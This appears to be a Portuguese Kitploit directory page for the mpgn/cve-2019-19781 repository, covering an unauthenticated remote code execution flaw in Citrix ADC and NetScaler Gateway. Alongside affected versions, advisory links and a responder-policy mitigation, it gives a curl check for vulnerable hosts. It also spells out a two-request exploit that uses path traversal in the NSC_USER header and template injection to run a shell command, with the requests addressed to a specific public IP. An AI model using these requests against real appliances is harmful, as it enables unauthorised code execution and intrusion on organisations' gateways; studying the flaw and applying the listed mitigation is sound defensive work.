Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/mpgn/cve-2019-19781
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoResposta a IncidentesFerramenta de Acesso Remoto
GitHubmpgn/cve-2019-19781

CVE-2019-19781

CVE-2019-19781 - Exploit de execução remota de código no Citrix ADC Netscaler

Ver Repositório
157343há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-19781

Execução Remota de Código (RCE) no Citrix Application Delivery Controller e no Citrix Gateway

Foi identificada uma vulnerabilidade no Citrix Application Delivery Controller (ADC) anteriormente conhecido como NetScaler ADC e no Citrix Gateway anteriormente conhecido como NetScaler Gateway que, se explorada, poderia permitir que um atacante não autenticado execute código arbitrário.

EDIT: Scanner de Indicadores de Compromisso para CVE-2019-19781 da Fireeye -> https://github.com/fireeye/ioc-scanner-CVE-2019-19781/

Produtos afetados:

  • Citrix ADC e Citrix Gateway versão 13.0 todas as compilações suportadas
  • Citrix ADC e NetScaler Gateway versão 12.1 todas as compilações suportadas
  • Citrix ADC e NetScaler Gateway versão 12.0 todas as compilações suportadas
  • Citrix ADC e NetScaler Gateway versão 11.1 todas as compilações suportadas
  • Citrix NetScaler ADC e NetScaler Gateway versão 10.5 todas as compilações suportadas

image

Verificar se é vulnerável

root@kitploit:~
TARGET=your_ip
curl -vk –path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep “You don’t have permission to access /vpns/” >/dev/null && echo “VULNERABLE: $TARGET” || echo “MITIGATED: $TARGET”

Script Perl vulnerável

root@kitploit:~
POST /vpn/../vpns/portal/scripts/newbm.pl
POST /vpn/../vpns/portal/scripts/rmbm.pl
GET /vpn/../vpns/portal/scripts/picktheme.pl

Exploração

Apenas duas requisições são necessárias para explorar esta vulnerabilidade sem qualquer autenticação!

Primeira requisição:

root@kitploit:~
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close
Content-Length: 103

url=http://exemple.com&title=[%t=template.new({'BLOCK'='print `uname -a`'})%][% t %]&desc=test&UI_inuse=RfWeb

Segunda requisição:

root@kitploit:~
GET /vpns/portal/bonclay4.xml HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close

image

Análise detalhada (inglês):

  • Craig Young => https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/
  • @MDSecLabs => https://www.mdsec.co.uk/2020/01/deep-dive-in-to-citrix-adc-remote-code-execution-cve-2019-19781/
  • @mpgn_x64 => https://twitter.com/mpgn_x64/status/1214544993261674497

Aviso de segurança:

  • https://support.citrix.com/article/CTX267027

Patch (não é um patch real)

  • https://support.citrix.com/article/CTX267679
root@kitploit:~
enable ns feature responder
add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\""
add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403
bind responder global ctx267027 1 END -type REQ_OVERRIDE
save config
Baixar ferramenta